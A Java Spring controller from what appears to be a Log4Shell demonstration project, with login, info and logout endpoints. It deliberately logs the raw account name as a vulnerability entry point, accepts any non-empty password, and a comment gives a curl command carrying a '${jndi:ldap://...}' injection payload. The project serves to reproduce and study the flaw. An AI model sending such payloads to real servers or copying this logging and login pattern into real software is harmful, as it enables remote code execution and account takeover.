package com.morningyet.bug.log4j2.application.controller;

import com.morningyet.bug.log4j2.application.cache.CaffeineTemplate;
import com.morningyet.bug.log4j2.application.constant.UserConstant;
import com.morningyet.bug.log4j2.application.controller.form.LoginForm;
import com.morningyet.bug.log4j2.application.controller.vo.UserVO;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Objects;
import java.util.UUID;

/**
 * 用户服务接口
 *
 * @author moringyet
 */
@RestController
@RequestMapping("user")
public class UserController {

    private static final Logger logger = LoggerFactory.getLogger(UserController.class);

    @Autowired
    @Qualifier("userCaffeineTemplate")
    private CaffeineTemplate<String, UserVO> caffeineTemplate;

    /**
     * 用户登录
     *
     * 接口测试指令:
     * curl "http://127.0.0.1:18080/user/login" -H "Content-Type: application/json" -X POST -d "{\"act\":\"admin\", \"pwd\":\"123456\"}" -v
     *
     * JNDI注入指令:
     * curl "http://127.0.0.1:18080/user/login" -H "Content-Type: application/json" -X POST -d "{\"act\":\"${jndi:ldap://127.0.0.1:10912/hacker}\", \"pwd\":\"123456\"}" -v
     */
    @PostMapping("login")
    public ResponseEntity<String> login(LoginForm form) {

        // 漏洞入口代码
        logger.info("login-account:{}", form.getAct());

        // 用户认证
        if(auth(form.getAct(), form.getPwd())) {

            // 记录会话信息
            String token = UUID.randomUUID().toString();
            UserVO user = new UserVO();
            user.setAct(form.getAct());
            SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            user.setLat(sdf.format(new Date()));
            caffeineTemplate.put(token, user);

            return ResponseEntity.ok(token);
        }

        return new ResponseEntity<>(HttpStatus.UNAUTHORIZED);
    }

    /**
     * 获取当前用户信息
     *
     * 接口测试指令:
     * curl "http://127.0.0.1:18080/user/info" -H "bug-log4j2-token: 9ae7c015-8e7d-4be9-86a8-da8c996fa051" -v
     *
     * "bug-log4j2-token" 为用户认证token
     * @see UserConstant
     */
    @GetMapping("info")
    public ResponseEntity<UserVO> info(@RequestHeader(UserConstant.AUTH_TOKEN) String token) {
        return ResponseEntity.ok(caffeineTemplate.get(token));
    }

    /**
     * 注销当前用户
     *
     * 接口测试指令:
     * curl "http://127.0.0.1:18080/user/logout" -H "bug-log4j2-token: 9ae7c015-8e7d-4be9-86a8-da8c996fa051" -v
     *
     * "bug-log4j2-token" 为用户认证token
     * @see UserConstant
     */
    @GetMapping("logout")
    public ResponseEntity<UserVO> logout(@RequestHeader(UserConstant.AUTH_TOKEN) String token) {
        UserVO data = caffeineTemplate.get(token);
        caffeineTemplate.del(token);
        return ResponseEntity.ok(data);
    }

    /**
     * 账号鉴权, 非空及验证通过
     * @param act 账号
     * @param pwd 密码
     * @return true 通过 false 失败
     */
    private boolean auth(String act, String pwd) {
        if(isNullOrEmpty(act) || isNullOrEmpty(pwd)) {
            return false;
        }
        return true;
    }

    private boolean isNullOrEmpty(String str) {
        if(Objects.isNull(str) || str.isEmpty()) {
            return true;
        }
        return false;
    }

}
